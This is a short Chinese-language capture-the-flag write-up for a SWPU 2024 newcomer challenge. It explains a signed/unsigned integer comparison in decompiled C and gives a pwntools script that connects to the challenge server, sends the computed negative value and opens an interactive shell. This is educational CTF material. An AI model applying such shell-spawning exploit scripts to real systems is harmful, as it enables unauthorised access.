Problem: [SWPU 2024 新生引导]你这辈子都是被黑神话害了
思路
- 解题大致思路
打开IDA简单分析后找到几个主要逻辑
unsigned int hours = (random & 0x7FFFFFFF) + 0x80000000;
简单来说就是生成了一个随机负数,具体操作是把符号位置零(强制正数)然后加了最小负数
char input[40];
scanf("%s", input);
input_int = atoi(input);
if ( input[0] != '-' || input_int >= 0 )
exit(0);
if ( hours != input_int )
exit(0);
return system("/bin/sh");
只要满足输入为字面上的负数且实际数据和uint hours相同就可以拿到shell
EXP
io = pwn.remote("node4.anna.nssctf.cn", 28819)
io.recvuntil(',她玩了'.encode())
hour = p32(int(io.recvuntil('小时'.encode(), drop=True)), sign='unsigned')
io.sendlineafter('游戏时长'.encode(), str(u32(hour, sign='signed')).encode())
io.interactive()
直接逃课
总结
- 考察基本的逆向能力和C语言数据的基础知识
